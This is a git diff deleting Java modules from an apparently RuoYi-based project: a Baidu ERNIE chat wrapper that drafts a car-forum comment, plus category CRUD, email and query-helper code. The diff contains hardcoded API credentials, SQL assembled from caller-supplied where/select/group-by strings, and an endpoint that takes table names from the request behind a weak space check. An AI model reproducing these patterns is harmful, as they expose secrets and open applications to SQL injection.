diff --git a/luqj-baidu-ai/pom.xml b/luqj-baidu-ai/pom.xml deleted file mode 100644 index 73adceb..0000000 --- a/luqj-baidu-ai/pom.xml +++ /dev/null @@ -1,38 +0,0 @@ - - - - ruoyi - com.ruoyi - 3.4.0 - - 4.0.0 - - luqj-baidu-ai - - - - com.baidubce - qianfan - 0.0.6 - - - mysql - mysql-connector-java - - - com.ruoyi - ruoyi-framework - - - com.ruoyi - ruoyi-common - - - com.ruoyi - luqj-common - 3.4.0 - - - \ No newline at end of file diff --git a/luqj-baidu-ai/src/main/java/com/luqj/bdai/service/IBaiduAiService.java b/luqj-baidu-ai/src/main/java/com/luqj/bdai/service/IBaiduAiService.java deleted file mode 100644 index 3c1a29b..0000000 --- a/luqj-baidu-ai/src/main/java/com/luqj/bdai/service/IBaiduAiService.java +++ /dev/null @@ -1,5 +0,0 @@ -package com.luqj.bdai.service; - -public interface IBaiduAiService { - String getPl(String content); -} diff --git a/luqj-baidu-ai/src/main/java/com/luqj/bdai/service/impl/BaiduAiServiceImpl.java b/luqj-baidu-ai/src/main/java/com/luqj/bdai/service/impl/BaiduAiServiceImpl.java deleted file mode 100644 index 0de9863..0000000 --- a/luqj-baidu-ai/src/main/java/com/luqj/bdai/service/impl/BaiduAiServiceImpl.java +++ /dev/null @@ -1,32 +0,0 @@ -package com.luqj.bdai.service.impl; - -import com.baidubce.qianfan.Qianfan; -import com.baidubce.qianfan.core.auth.Auth; -import com.baidubce.qianfan.model.chat.ChatResponse; -import com.luqj.bdai.service.IBaiduAiService; -import org.springframework.stereotype.Service; - -@Service -public class BaiduAiServiceImpl implements IBaiduAiService { - Qianfan qianfan = new Qianfan(Auth.TYPE_OAUTH,"mcxmebDP4a3UU0ELLOYEN3rx", "cJcRakEzVDfcCEABl2jmvd5rnWViMhFP"); - public String getPl(String content){ - ChatResponse response = qianfan - .chatCompletion() -// .model("ERNIE-3.5-8K") - .model("ERNIE-Speed-128K") - .temperature(0.95) - .topP(0.7) - .penaltyScore(1.0) -// .stop() - // 与Chat类似,但通过prompt传入指令 - .addMessage("user",content) - .execute(); - System.out.println(response.getResult()); - return response.getResult(); - } - - public static void main(String[] args) { - BaiduAiServiceImpl baiduAiService = new BaiduAiServiceImpl(); - baiduAiService.getPl("一个驱逐舰05的车主论坛上发布了一条标题为:不知道是不是没有设置对,亏点油耗这么高,我是强制保电50% 的文章,写一条字数大于20字,小于35字的评论"); - } -} diff --git a/luqj-common/pom.xml b/luqj-common/pom.xml deleted file mode 100644 index 8a93100..0000000 --- a/luqj-common/pom.xml +++ /dev/null @@ -1,61 +0,0 @@ - - - - ruoyi - com.ruoyi - 3.4.0 - - 4.0.0 - - luqj-common - - - - org.json - json - 19970182 - - - org.springframework.boot - spring-boot-starter-mail - - - - com.ruoyi - ruoyi-common - - - com.baomidou - mybatis-plus-extension - 3.4.0 - - - io.swagger - swagger-annotations - 1.5.22 - - - - com.qiniu - qiniu-java-sdk - 7.2.11 - - - com.squareup.okhttp3 - okhttp - 3.3.1 - - - com.google.code.gson - gson - 2.6.2 - - - com.qiniu - happy-dns-java - 0.1.4 - - - \ No newline at end of file diff --git a/luqj-common/src/main/java/com/luqj/common/config/EmailProperties.java b/luqj-common/src/main/java/com/luqj/common/config/EmailProperties.java deleted file mode 100644 index d6e888d..0000000 --- a/luqj-common/src/main/java/com/luqj/common/config/EmailProperties.java +++ /dev/null @@ -1,64 +0,0 @@ -package com.luqj.common.config; - -import org.springframework.boot.context.properties.ConfigurationProperties; -import org.springframework.stereotype.Component; - -/** - * 邮件系统属性信息 - */ -@Component -@ConfigurationProperties(prefix = "lu.admin.mail") -public class EmailProperties { - - /** - * 是否smtp授权 - */ - private Boolean smtpAuth = true; - - /** - * 邮件系统smtp - */ - private String smtpHost = "smtp.163.com"; - - /** - * 默认用户 - */ - private String user; - - /** - * 用户密码 - */ - private String password; - - public Boolean getSmtpAuth() { - return smtpAuth; - } - - public void setSmtpAuth(Boolean smtpAuth) { - this.smtpAuth = smtpAuth; - } - - public String getSmtpHost() { - return smtpHost; - } - - public void setSmtpHost(String smtpHost) { - this.smtpHost = smtpHost; - } - - public String getUser() { - return user; - } - - public void setUser(String user) { - this.user = user; - } - - public String getPassword() { - return password; - } - - public void setPassword(String password) { - this.password = password; - } -} diff --git a/luqj-common/src/main/java/com/luqj/common/controller/ComCategoryController.java b/luqj-common/src/main/java/com/luqj/common/controller/ComCategoryController.java deleted file mode 100644 index 07b16a5..0000000 --- a/luqj-common/src/main/java/com/luqj/common/controller/ComCategoryController.java +++ /dev/null @@ -1,109 +0,0 @@ -package com.luqj.common.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.common.domain.ComCategory; -import com.luqj.common.service.IComCategoryService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 类别Controller - * - * @author luqj - * @date 2021-07-24 - */ -@RestController -@RequestMapping("/common/category") -public class ComCategoryController extends BaseController -{ - @Autowired - private IComCategoryService comCategoryService; - - @GetMapping("/treeselect") - public AjaxResult treeselect(ComCategory comCategory) - { - List depts = comCategoryService.selectComCategoryList(comCategory); - return AjaxResult.success(comCategoryService.buildCategoryTreeSelect(depts)); - } - /** - * 查询类别列表 - */ - @PreAuthorize("@ss.hasPermi('common:category:list')") - @GetMapping("/list") - public TableDataInfo list(ComCategory comCategory) - { - startPage(); - List list = comCategoryService.selectComCategoryList(comCategory); - return getDataTable(list); - } - - /** - * 导出类别列表 - */ - @PreAuthorize("@ss.hasPermi('common:category:export')") - @Log(title = "类别", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(ComCategory comCategory) - { - List list = comCategoryService.selectComCategoryList(comCategory); - ExcelUtil util = new ExcelUtil(ComCategory.class); - return util.exportExcel(list, "category"); - } - - /** - * 获取类别详细信息 - */ - @PreAuthorize("@ss.hasPermi('common:category:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(comCategoryService.selectComCategoryById(id)); - } - - /** - * 新增类别 - */ - @PreAuthorize("@ss.hasPermi('common:category:add')") - @Log(title = "类别", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody ComCategory comCategory) - { - return toAjax(comCategoryService.insertComCategory(comCategory)); - } - - /** - * 修改类别 - */ - @PreAuthorize("@ss.hasPermi('common:category:edit')") - @Log(title = "类别", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody ComCategory comCategory) - { - return toAjax(comCategoryService.updateComCategory(comCategory)); - } - - /** - * 删除类别 - */ - @PreAuthorize("@ss.hasPermi('common:category:remove')") - @Log(title = "类别", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(comCategoryService.deleteComCategoryByIds(ids)); - } -} diff --git a/luqj-common/src/main/java/com/luqj/common/controller/SelectCommonController.java b/luqj-common/src/main/java/com/luqj/common/controller/SelectCommonController.java deleted file mode 100644 index 3a5aee3..0000000 --- a/luqj-common/src/main/java/com/luqj/common/controller/SelectCommonController.java +++ /dev/null @@ -1,28 +0,0 @@ -package com.luqj.common.controller; - -import com.luqj.common.domain.SelectItem; -import com.luqj.common.service.ICommonService; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -import java.util.List; - -@RestController -@RequestMapping("/common") -public class SelectCommonController extends BaseController { - @Autowired - private ICommonService comCategory; - - @GetMapping("/select/search") - public AjaxResult selectSearch(String tableName, String keyword, String fieldId, String fieldName) { - if(tableName.contains(" ") || fieldId.contains(" ") || fieldName.contains(" ")){ - return AjaxResult.error("注入嫌疑"); - } - List searchs = comCategory.search(tableName, fieldId, fieldName, keyword); - return AjaxResult.success(searchs); - } -} diff --git a/luqj-common/src/main/java/com/luqj/common/domain/CategoryTreeSelect.java b/luqj-common/src/main/java/com/luqj/common/domain/CategoryTreeSelect.java deleted file mode 100644 index 9aa726e..0000000 --- a/luqj-common/src/main/java/com/luqj/common/domain/CategoryTreeSelect.java +++ /dev/null @@ -1,14 +0,0 @@ -package com.luqj.common.domain; - -import com.ruoyi.common.core.domain.TreeSelect; - -import java.util.stream.Collectors; - -public class CategoryTreeSelect extends TreeSelect { - public CategoryTreeSelect(ComCategory comCategory) - { - this.id = comCategory.getId(); - this.label = comCategory.getName(); - this.children = comCategory.getChildren().stream().map(CategoryTreeSelect::new).collect(Collectors.toList()); - } -} diff --git a/luqj-common/src/main/java/com/luqj/common/domain/ComCategory.java b/luqj-common/src/main/java/com/luqj/common/domain/ComCategory.java deleted file mode 100644 index 0da5493..0000000 --- a/luqj-common/src/main/java/com/luqj/common/domain/ComCategory.java +++ /dev/null @@ -1,233 +0,0 @@ -package com.luqj.common.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.ArrayList; -import java.util.List; - -/** - * 类别对象 com_category - * - * @author luqj - * @date 2021-07-24 - */ -public class ComCategory extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** id */ - private Long id; - - /** 名称 */ - @Excel(name = "名称") - private String name; - - /** 父id */ - @Excel(name = "父id") - private Long parentId; - - /** 所有父级id组合,以逗号隔开 */ - @Excel(name = "所有父级id组合,以逗号隔开") - private String parentIds; - - /** 系统层级类目 */ - @Excel(name = "系统层级类目") - private Long projectType; - - /** 排序 */ - @Excel(name = "排序") - private Long sortNum; - - /** 图标地址 */ - @Excel(name = "图标地址") - private String iconUrl; - - /** 图片地址 */ - @Excel(name = "图片地址") - private String picUrl; - - /** 是否叶子节点(0否,1是) */ - @Excel(name = "是否叶子节点(0否,1是)") - private Integer hasLeaf; - - /** 是否前台首页展示(0否,1是) */ - @Excel(name = "是否前台首页展示(0否,1是)") - private Integer homeShow; - - /** 类目级别,1:一级类目;2:二级类目;3:三级类目,目前只支持三级类目 */ - @Excel(name = "类目级别,1:一级类目;2:二级类目;3:三级类目,目前只支持三级类目") - private Integer level; - - /** 标示位:例如热门分类等 */ - @Excel(name = "标示位:例如热门分类等") - private Long flag; - - /** 描述 */ - @Excel(name = "描述") - private String description; - - /** 状态 0-禁用,1-启用,2-删除 */ - @Excel(name = "状态 0-禁用,1-启用,2-删除") - private Integer status; - - private List children = new ArrayList<>(); - public void setId(Long id) - { - this.id = id; - } - - public List getChildren() { - return children; - } - - public void setChildren(List children) { - this.children = children; - } - - public Long getId() - { - return id; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setParentId(Long parentId) - { - this.parentId = parentId; - } - - public Long getParentId() - { - return parentId; - } - public void setParentIds(String parentIds) - { - this.parentIds = parentIds; - } - - public String getParentIds() - { - return parentIds; - } - public void setProjectType(Long projectType) - { - this.projectType = projectType; - } - - public Long getProjectType() - { - return projectType; - } - public void setSortNum(Long sortNum) - { - this.sortNum = sortNum; - } - - public Long getSortNum() - { - return sortNum; - } - public void setIconUrl(String iconUrl) - { - this.iconUrl = iconUrl; - } - - public String getIconUrl() - { - return iconUrl; - } - public void setPicUrl(String picUrl) - { - this.picUrl = picUrl; - } - - public String getPicUrl() - { - return picUrl; - } - public void setHasLeaf(Integer hasLeaf) - { - this.hasLeaf = hasLeaf; - } - - public Integer getHasLeaf() - { - return hasLeaf; - } - public void setHomeShow(Integer homeShow) - { - this.homeShow = homeShow; - } - - public Integer getHomeShow() - { - return homeShow; - } - public void setLevel(Integer level) - { - this.level = level; - } - - public Integer getLevel() - { - return level; - } - public void setFlag(Long flag) - { - this.flag = flag; - } - - public Long getFlag() - { - return flag; - } - public void setDescription(String description) - { - this.description = description; - } - - public String getDescription() - { - return description; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("name", getName()) - .append("parentId", getParentId()) - .append("parentIds", getParentIds()) - .append("projectType", getProjectType()) - .append("sortNum", getSortNum()) - .append("iconUrl", getIconUrl()) - .append("picUrl", getPicUrl()) - .append("hasLeaf", getHasLeaf()) - .append("homeShow", getHomeShow()) - .append("level", getLevel()) - .append("flag", getFlag()) - .append("description", getDescription()) - .append("createTime", getCreateTime()) - .append("updateTime", getUpdateTime()) - .append("status", getStatus()) - .toString(); - } -} diff --git a/luqj-common/src/main/java/com/luqj/common/domain/ComCategoryPlus.java b/luqj-common/src/main/java/com/luqj/common/domain/ComCategoryPlus.java deleted file mode 100644 index 7e02c23..0000000 --- a/luqj-common/src/main/java/com/luqj/common/domain/ComCategoryPlus.java +++ /dev/null @@ -1,232 +0,0 @@ -package com.luqj.common.domain; - -import com.baomidou.mybatisplus.annotation.TableName; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -/** - * 类别对象 com_category - * - * @author luqj - * @date 2021-07-24 - */ -@TableName(value = "com_category") -public class ComCategoryPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** id */ - private Long id; - /** 名称 */ - @Excel(name = "名称") - private String name; - /** 父id */ - @Excel(name = "父id") - private Long parentId; - /** 所有父级id组合,以逗号隔开 */ - @Excel(name = "所有父级id组合,以逗号隔开") - private String parentIds; - /** 系统层级类目 */ - @Excel(name = "系统层级类目") - private Long projectType; - /** 排序 */ - @Excel(name = "排序") - private Long sortNum; - /** 图标地址 */ - @Excel(name = "图标地址") - private String iconUrl; - /** 图片地址 */ - @Excel(name = "图片地址") - private String picUrl; - /** 是否叶子节点(0否,1是) */ - @Excel(name = "是否叶子节点(0否,1是)") - private Integer hasLeaf; - /** 是否前台首页展示(0否,1是) */ - @Excel(name = "是否前台首页展示(0否,1是)") - private Integer homeShow; - /** 类目级别,1:一级类目;2:二级类目;3:三级类目,目前只支持三级类目 */ - @Excel(name = "类目级别,1:一级类目;2:二级类目;3:三级类目,目前只支持三级类目") - private Integer level; - /** 标示位:例如热门分类等 */ - @Excel(name = "标示位:例如热门分类等") - private Long flag; - /** 描述 */ - @Excel(name = "描述") - private String description; - /** 创建时间 */ - private Date createTime; - /** 修改时间 */ - private Date updateTime; - /** 状态 0-禁用,1-启用,2-删除 */ - @Excel(name = "状态 0-禁用,1-启用,2-删除") - private Integer status; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setParentId(Long parentId) - { - this.parentId = parentId; - } - - public Long getParentId() - { - return parentId; - } - public void setParentIds(String parentIds) - { - this.parentIds = parentIds; - } - - public String getParentIds() - { - return parentIds; - } - public void setProjectType(Long projectType) - { - this.projectType = projectType; - } - - public Long getProjectType() - { - return projectType; - } - public void setSortNum(Long sortNum) - { - this.sortNum = sortNum; - } - - public Long getSortNum() - { - return sortNum; - } - public void setIconUrl(String iconUrl) - { - this.iconUrl = iconUrl; - } - - public String getIconUrl() - { - return iconUrl; - } - public void setPicUrl(String picUrl) - { - this.picUrl = picUrl; - } - - public String getPicUrl() - { - return picUrl; - } - public void setHasLeaf(Integer hasLeaf) - { - this.hasLeaf = hasLeaf; - } - - public Integer getHasLeaf() - { - return hasLeaf; - } - public void setHomeShow(Integer homeShow) - { - this.homeShow = homeShow; - } - - public Integer getHomeShow() - { - return homeShow; - } - public void setLevel(Integer level) - { - this.level = level; - } - - public Integer getLevel() - { - return level; - } - public void setFlag(Long flag) - { - this.flag = flag; - } - - public Long getFlag() - { - return flag; - } - public void setDescription(String description) - { - this.description = description; - } - - public String getDescription() - { - return description; - } - public void setCreateTime(Date createTime) - { - this.createTime = createTime; - } - - public Date getCreateTime() - { - return createTime; - } - public void setUpdateTime(Date updateTime) - { - this.updateTime = updateTime; - } - - public Date getUpdateTime() - { - return updateTime; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("name", getName()) - .append("parentId", getParentId()) - .append("parentIds", getParentIds()) - .append("projectType", getProjectType()) - .append("sortNum", getSortNum()) - .append("iconUrl", getIconUrl()) - .append("picUrl", getPicUrl()) - .append("hasLeaf", getHasLeaf()) - .append("homeShow", getHomeShow()) - .append("level", getLevel()) - .append("flag", getFlag()) - .append("description", getDescription()) - .append("createTime", getCreateTime()) - .append("updateTime", getUpdateTime()) - .append("status", getStatus()) - .toString(); - } -} diff --git a/luqj-common/src/main/java/com/luqj/common/domain/ContactItem.java b/luqj-common/src/main/java/com/luqj/common/domain/ContactItem.java deleted file mode 100644 index db7f8eb..0000000 --- a/luqj-common/src/main/java/com/luqj/common/domain/ContactItem.java +++ /dev/null @@ -1,17 +0,0 @@ -package com.luqj.common.domain; - -import lombok.Data; - -import java.io.Serializable; -import java.util.List; - -@Data -public class ContactItem implements Serializable,Comparable { - private String letter; - private List data; - - @Override - public int compareTo(ContactItem o) { - return this.getLetter().compareTo(o.getLetter()); - } -} diff --git a/luqj-common/src/main/java/com/luqj/common/domain/RedisKey.java b/luqj-common/src/main/java/com/luqj/common/domain/RedisKey.java deleted file mode 100644 index ebe759c..0000000 --- a/luqj-common/src/main/java/com/luqj/common/domain/RedisKey.java +++ /dev/null @@ -1,75 +0,0 @@ -package com.luqj.common.domain; - -import com.ruoyi.common.utils.StringUtils; - -import java.math.BigDecimal; -import java.util.Date; - -public class RedisKey { - private StringBuffer stringBuffer = new StringBuffer(""); - - public RedisKey() { - } - - public RedisKey(String key) { - stringBuffer = new StringBuffer(key); - } - - public RedisKey add(String key) { - if (StringUtils.isNotBlank(key)) { - stringBuffer.append(key).append("_"); - } else { - stringBuffer.append("NULL_"); - } - return this; - } - - public RedisKey add(BigDecimal key) { - if (key != null) { - stringBuffer.append(key).append("_"); - } else { - stringBuffer.append("NULL_"); - } - return this; - } - - public RedisKey add(Boolean key) { - if (key != null) { - stringBuffer.append(key).append("_"); - } else { - stringBuffer.append("NULL_"); - } - return this; - } - - public RedisKey add(Long key) { - if (key != null) { - stringBuffer.append(key).append("_"); - } else { - stringBuffer.append("NULL_"); - } - return this; - } - - public RedisKey add(Date key) { - if (key != null) { - stringBuffer.append(key.getTime()).append("_"); - } else { - stringBuffer.append("_NULL"); - } - return this; - } - - public RedisKey add(Integer key) { - if (key != null) { - stringBuffer.append(key).append("_"); - } else { - stringBuffer.append("_NULL"); - } - return this; - } - - public String key() { - return this.stringBuffer.toString(); - } -} \ No newline at end of file diff --git a/luqj-common/src/main/java/com/luqj/common/domain/SelectItem.java b/luqj-common/src/main/java/com/luqj/common/domain/SelectItem.java deleted file mode 100644 index af35001..0000000 --- a/luqj-common/src/main/java/com/luqj/common/domain/SelectItem.java +++ /dev/null @@ -1,11 +0,0 @@ -package com.luqj.common.domain; - -import lombok.Data; - -import java.io.Serializable; - -@Data -public class SelectItem implements Serializable { - private String id; - private String name; -} diff --git a/luqj-common/src/main/java/com/luqj/common/mapper/ComCategoryMapper.java b/luqj-common/src/main/java/com/luqj/common/mapper/ComCategoryMapper.java deleted file mode 100644 index d5226cd..0000000 --- a/luqj-common/src/main/java/com/luqj/common/mapper/ComCategoryMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.common.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.common.domain.ComCategory; -import com.luqj.common.domain.ComCategoryPlus; - -/** - * 类别Mapper接口 - * - * @author luqj - * @date 2021-07-24 - */ -public interface ComCategoryMapper extends BaseMapper -{ - /** - * 查询类别 - * - * @param id 类别ID - * @return 类别 - */ - public ComCategory selectComCategoryById(Long id); - - /** - * 查询类别列表 - * - * @param comCategory 类别 - * @return 类别集合 - */ - public List selectComCategoryList(ComCategory comCategory); - - /** - * 新增类别 - * - * @param comCategory 类别 - * @return 结果 - */ - public int insertComCategory(ComCategory comCategory); - - /** - * 修改类别 - * - * @param comCategory 类别 - * @return 结果 - */ - public int updateComCategory(ComCategory comCategory); - - /** - * 删除类别 - * - * @param id 类别ID - * @return 结果 - */ - public int deleteComCategoryById(Long id); - - /** - * 批量删除类别 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteComCategoryByIds(Long[] ids); -} diff --git a/luqj-common/src/main/java/com/luqj/common/service/IComCategoryService.java b/luqj-common/src/main/java/com/luqj/common/service/IComCategoryService.java deleted file mode 100644 index 60b0d0a..0000000 --- a/luqj-common/src/main/java/com/luqj/common/service/IComCategoryService.java +++ /dev/null @@ -1,90 +0,0 @@ -package com.luqj.common.service; -import java.util.Map; -import java.util.List; - -import com.luqj.common.domain.CategoryTreeSelect; -import com.luqj.common.domain.ComCategory; -import com.luqj.common.domain.ComCategoryPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 类别Service接口 - * - * @author luqj - * @date 2021-07-24 - */ -public interface IComCategoryService extends IService -{ - /** - * 查询类别 - * - * @param id 类别ID - * @return 类别 - */ - public ComCategory selectComCategoryById(Long id); - - /** - * 查询类别列表 - * - * @param comCategory 类别 - * @return 类别集合 - */ - public List selectComCategoryList(ComCategory comCategory); - - /** - * 新增类别 - * - * @param comCategory 类别 - * @return 结果 - */ - public int insertComCategory(ComCategory comCategory); - - /** - * 修改类别 - * - * @param comCategory 类别 - * @return 结果 - */ - public int updateComCategory(ComCategory comCategory); - - /** - * 批量删除类别 - * - * @param ids 需要删除的类别ID - * @return 结果 - */ - public int deleteComCategoryByIds(Long[] ids); - - /** - * 删除类别信息 - * - * @param id 类别ID - * @return 结果 - */ - public int deleteComCategoryById(Long id); - - List getByIds(List ids, SFunction... columns); - - ComCategoryPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List buildCategoryTreeSelect(List comCategory); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-common/src/main/java/com/luqj/common/service/ICommonService.java b/luqj-common/src/main/java/com/luqj/common/service/ICommonService.java deleted file mode 100644 index eefc45a..0000000 --- a/luqj-common/src/main/java/com/luqj/common/service/ICommonService.java +++ /dev/null @@ -1,9 +0,0 @@ -package com.luqj.common.service; - -import com.luqj.common.domain.SelectItem; - -import java.util.List; - -public interface ICommonService { - List search(String tableName, String fieldId, String fieldName, String keyword); -} diff --git a/luqj-common/src/main/java/com/luqj/common/service/ISendEmailService.java b/luqj-common/src/main/java/com/luqj/common/service/ISendEmailService.java deleted file mode 100644 index f099e15..0000000 --- a/luqj-common/src/main/java/com/luqj/common/service/ISendEmailService.java +++ /dev/null @@ -1,8 +0,0 @@ -package com.luqj.common.service; - -import javax.mail.MessagingException; -import java.security.GeneralSecurityException; - -public interface ISendEmailService { - boolean send(String email, String subject, String content) throws MessagingException, GeneralSecurityException; -} diff --git a/luqj-common/src/main/java/com/luqj/common/service/impl/ComCategoryServiceImpl.java b/luqj-common/src/main/java/com/luqj/common/service/impl/ComCategoryServiceImpl.java deleted file mode 100644 index e3d34ad..0000000 --- a/luqj-common/src/main/java/com/luqj/common/service/impl/ComCategoryServiceImpl.java +++ /dev/null @@ -1,275 +0,0 @@ -package com.luqj.common.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; - -import java.util.*; - -import com.luqj.common.domain.CategoryTreeSelect; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; - -import java.util.stream.Collectors; - -import com.ruoyi.common.utils.DateUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.luqj.common.mapper.ComCategoryMapper; -import com.luqj.common.domain.ComCategory; -import com.luqj.common.domain.ComCategoryPlus; -import com.luqj.common.service.IComCategoryService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 类别Service业务层处理 - * - * @author luqj - * @date 2021-07-24 - */ -@Service -public class ComCategoryServiceImpl extends ServiceImpl implements IComCategoryService -{ - @Autowired - private ComCategoryMapper comCategoryMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(ComCategoryPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public ComCategoryPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(ComCategoryPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (ComCategoryPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - public List buildCategoryTreeSelect(List comCategory) - { - List deptTrees = buildCategoryTree(comCategory); - ComCategory com =new ComCategory(); - com.setId(0L); - com.setName("根目录"); - com.setChildren(deptTrees); - List pc = new ArrayList<>(); - for(ComCategory c:deptTrees){ - if(c.getParentId() == 0L){ - pc.add(c); - } - } - com.setChildren(pc); - return Arrays.asList(com).stream().map(CategoryTreeSelect::new).collect(Collectors.toList()); - } - /** - * 递归列表 - */ - private void recursionFn(List list, ComCategory t) - { - // 得到子节点列表 - List childList = getChildList(list, t); - t.setChildren(childList); - for (ComCategory tChild : childList) - { - if (hasChild(list, tChild)) - { - recursionFn(list, tChild); - } - } - } - /** - * 得到子节点列表 - */ - private List getChildList(List list, ComCategory t) - { - List tlist = new ArrayList(); - Iterator it = list.iterator(); - while (it.hasNext()) - { - ComCategory n = (ComCategory) it.next(); - if (StringUtils.isNotNull(n.getParentId()) && n.getParentId().longValue() == t.getId().longValue()) - { - tlist.add(n); - } - } - return tlist; - } - - /** - * 判断是否有子节点 - */ - private boolean hasChild(List list, ComCategory t) - { - return getChildList(list, t).size() > 0 ? true : false; - } - public List buildCategoryTree(List depts) - { - List returnList = new ArrayList(); - List tempList = new ArrayList(); - for (ComCategory dept : depts) - { - tempList.add(dept.getId()); - } - for (Iterator iterator = depts.iterator(); iterator.hasNext();) - { - ComCategory dept = (ComCategory) iterator.next(); - // 如果是顶级节点, 遍历该父节点的所有子节点 - if (!tempList.contains(dept.getParentId())) - { - recursionFn(depts, dept); - returnList.add(dept); - } - } - if (returnList.isEmpty()) - { - returnList = depts; - } - return returnList; - } - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (ComCategoryPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(ComCategoryPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from com_category "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" com_category "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" com_category "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询类别 - * - * @param id 类别ID - * @return 类别 - */ - @Override - public ComCategory selectComCategoryById(Long id) - { - return comCategoryMapper.selectComCategoryById(id); - } - - /** - * 查询类别列表 - * - * @param comCategory 类别 - * @return 类别 - */ - @Override - public List selectComCategoryList(ComCategory comCategory) - { - return 